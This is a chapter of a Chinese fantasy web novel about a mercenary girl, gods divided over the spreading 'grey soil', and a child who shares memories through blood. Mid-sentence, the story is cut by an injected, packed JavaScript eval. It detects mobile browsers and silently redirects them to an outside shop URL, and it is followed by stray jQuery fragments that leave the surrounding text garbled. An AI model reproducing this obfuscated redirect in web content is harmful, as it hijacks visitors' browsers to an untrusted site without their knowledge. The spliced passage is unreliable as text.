听奥莱诺说,卡琳妲是由几人在某次执行委托时被她父母以命相托才加入佣兵团的,当时她才四五岁,他们这群人本来不想接个累赘,但人家父母因他们请求对方成为眼线而死在委托中,就这样抛弃她和恩将仇报没什么区别。

    卡姆在得知此事后反应最为剧烈,奥莱诺说,别看他脾气阴晴不定,但人仗义至极,还没等团长妥善安排好她的抚养计划,卡姆便抱着刚哄好的她挺身而出,声称他一个人就养好这丫头,扯着嗓子说谁敢扔掉她就跟谁没完。

    虽然他的真情实露令所有在场的人内心触动,但他年纪轻轻且一穷二白,团长第一个不同意他的抚养请求。

    梵妮想,此人实在仗义。

    卡琳妲是团里人共同养大的,大多数时间都跟在女佣兵身后,而她的教育则是谁有空谁来教,佣兵团里并不注重知识水平,佣兵团里的人常教给她的是猎杀魔兽陷阱制作讨价还价探路戒备技巧,很少有人教她大陆语怎么写,也很少人告诉她数学天文逻辑,毕竟佣兵团里的人很少会这些东西。

    要不是卡姆真把她当做一份责任,她的魔法天赋会很难被发现。

    尤其在魔法阵法上,她仅凭书中模棱两可的话语便能推出复杂法阵的细节。

    甚至只要有法阵画像,她就能推出法阵属于哪种元素构建起来的、法阵魔力标点在哪、魔力轨迹怎样变动才能共鸣……

    当然,这不能脱离她的魔力等级太多。

    不过梵妮觉得,能跟着卡姆这种人混上十几年,她还真不信性格会腼腆羞涩。

    “你没事就好,”她弯起眉眼,向着卡琳妲身后的人微微点头,“黑暗神狡诈多端,这次算我们足够幸运。”

    “啊,嗯嗯……这个是卡姆和我一起拿出的,我们现在没有太多积蓄,等日后有了罕见地宝物再来感谢您的救命之恩。”

    梵妮点点头,才将目光望向等候多时的卡洛斯,顺着柔顺光泽的白色长发上滑,卡洛斯敛下眉目正静静等待梵妮谈话完毕。

    卡琳妲回过头,怯生生说了句“日安”,见身后的卡洛斯有话说,自己便先行退离了这所地方。

    而她正巧路上遇到了格桑特,桑格特叫住了她,为她施展了安定灵魂的光系法术才让她离去,整个精灵看起来和颜悦色极了。

    目睹圣级法术闪烁的一瞬间,梵妮右眉单挑,靠在肩膀的指尖莫名敲打起来,卡洛斯顺着她的视线望去,又回望过来。

    “在风神主殿释放圣灵级别的咒术?他的胆子也不小。”她扫过卡琳妲泛有光晕的背影,眼睫轻颤。

    圣灵级别的咒术,不属于魔法界的魔法,无法应用魔力强行施展。

    这是神明恩允后的神力直接学习神明施法的轨迹而生成的神术,因使用时与常见神术催动方式大相径庭、借鉴魔力运行轨迹而特成一派的咒术。

    大部分掌有神力的神官、牧师很难学会这种术法,并非神明严禁圣灵级咒术的传播,而是精神力的强弱注定了有些信徒能够全须全尾地观览整套术法的运行轨迹,有些则会因强行观看而头爆血流。

    与神同行,本身就是向死而进的过程。

    更别说学习高位格的法术。

    作为被学习者的神明,每次生灵使用圣灵级的咒法必然能够在天国内感知出来,无分神格。

    当精灵王使用圣灵级咒术的一刹那,距离他最近的风神定能感知到,他的这种行为无异于异教徒跑向神殿来宣扬异神,多好的脾气才能容忍以下犯上?

    风精灵得知此事能活剥了光精灵的皮!

    不过应是黑暗神前来降下神罚的原因,光系精灵王的举动被风神睁一只眼闭一只眼不做追究了。

    “我们走吧,我有点头疼。”

    “好。”

    梵妮轻轻笑了几声,深深吸入一口气才稳稳坐向静默室里的橡木长凳,身体倾倒靠着椅背,视线默默盯向自己的手心,长久不语。

    但没过多久她抽回扫射在手心的目光,注视静默室中心处金碧辉煌的神像。

    关于灰壤,神域中的神明早就分出了两大阵营——以生命之神为首的共责派与以天空之首为首的灭亡派。

    前者认为灰壤的出现与祂们的神战密不可分,是神战强行催化了灰壤的扩散,这一过程谁都不可切割出来,理应共担责任处理干净;而后者则认为灰壤的出现不可避免,事已至此不如放任灰壤吞噬掉如今的各个大陆,等灰壤无可吞噬时再一举清除。

    至于生存于各大陆上的不同种族,大不了世界安定后重新创造就好。当初创造出各种种族,本质是想效仿创世神来打发无聊的时间,既然这一茬的无法存活,那就创造新的。

    但生命之神却不认同这个主意,祂认为灰壤的进化速度极快,作为同出本源的物质,最终肯定能吞噬祂们,时间早晚而已。

    而这两大阵营中,又细分成不同流派。

    比如风神与光明神早就摒弃了双方的间隙,虽是共责派,但对大陆种族的态度却与生命之神不同。生命之神给予了各种族充分的尊重,以合作的态度来共同治理,而他们却觉得这是蔑视神明的威格,应当将各种族当做工具而非尊敬。

    “卡洛斯,你觉得龙神对待灰壤持有什么态度?”

    面对梵妮的疑问,卡洛斯微微斜头,“我想祂会是灭亡派。”

    “哎,你公然加入以生命之神为代表的共责派,祂会不会深夜跑到你脑子里降下神罚?”

    “不会,祂向来不管族群的事务,所以龙族对待祂的祭坛通常也敷衍了事……不然也不会被我轻易打翻。”

    梵妮对此笑出了声。

    此后她没有继续开口说话,只是静静看着柔和的阳光倾斜在她的手心,兴许是太无聊,她学着卡洛斯之前的做法拨弄起他的白发,有一搭没一搭叹气。

    静默室本身能够抚慰躁动的灵魂,没过多久她便感觉到脑袋放松许多,随后大门忽地被打开,一声清脆的呼唤比她回头的速度更快,浅绿碧波般的瞳孔定定望着拉有卡琳妲右手的孩童,神色坦然。

    梵妮放开了被自己揉搓

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738783|206415||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不已的头发。

    “姐姐,我闻到了你的味道。”

    罗伯特一脸笃定的望着梵妮,露出一个大大的笑脸。

    “你的鼻子很灵敏,是卡琳妲带你过来的吗?”

    “嗯。”

    梵妮望见矮小的罗伯特紧紧牵住卡琳妲的右手,仿佛怕她逃跑一般不肯松手。

    “我以前被当做药人过,那群人将我的鼻子与狼的缝起来了,我能闻到超多的味道!这个姐姐身上有你的气味,我求她带我过来的。”

    “那很厉害呢!”梵妮轻轻拂过罗伯特的头,干糙的发质犹如杂草般摩擦她的手心,一阵痒意过后她才继续开口,“但这件事情最好和你的母亲说一下,让她尽快捉住虐待你的人,无论是为了自己还是为了正在经历与你同等痛苦的人都是不错的选择。对了你来找我是有什么事情吗?看起来很着急的模样。”

    “姐姐救我时是不是赶跑了个怪叔叔?我好像见到他了。”

    “?”梵妮愣了一下,但随即想起来罗伯特口中的“怪叔叔”指的是亚瑟·罗兰德,脸色莫名悲喜交加起来:“是吗?那告诉姐姐,在哪里看见的,姐姐帮你驱魔。”

    梵妮嘴角渐渐上扬,耐心等着罗伯特的回话。

    亚瑟这家伙难道还有新的复活手段?

    怪不得当时自戕得如此干脆,原来还有后招啊。

    罗伯特松开了握紧卡琳妲的手,倚靠在梵妮身前,习惯般掏出匕首划破肌肤,任由血液流淌在梵妮面颊。

    “……”梵妮并未阻止他,相反,她默许了罗伯特的所有动作。

    这种能力她并不陌生,每当她前往兽人部落时常常望见有些兽人会以这种方式交换信息,尤其是纯种兽人,对他们而言,比起言语他们更信任血液里储藏的记忆。

    这种能力犹如精灵天生便会运用魔力般流淌于血脉中,是兽神赐予兽人的种族术法,只要孕育兽人幼崽的母亲承认幼崽的身份,他们便能自母亲的子宫中传承这份力量。

    血忆术,以血液为纽带将记忆储存其中,每当需要使用部分记忆时兽人会划破肌肤来提取或允许他人查看。

    大部分兽人所需世代传承的智慧便以这种方式来实现——幼崽躺在母亲的子宫,血脉相融中接收母亲血液中记载的一切知识传承。

    这是兽人独有的能力。

    而罗伯特为何会掌握这种能力,她并不想猜。

    也没必要猜。

    她在见到罗伯特的瞬间,便决定加入对邪神势力的围剿。而卡洛斯似乎感知到什么,猛地转头望向梵妮,梵妮对此微微一笑,无声发问:“跟不跟着我剿灭邪神信徒?”

    “当然。”

    他也无声回应着,蹲下身体摸了摸罗伯特的头。

    罗伯特懵懂地看着卡洛斯,似乎想起来他也曾帮助过自己回到母亲怀中,立马露出了笑脸。

    兴许是放血的缘故,他的脸色变得苍白。

    而卡洛斯默默为他释放了魂安术,使得他的灵魂稳固在破烂不堪的身体内。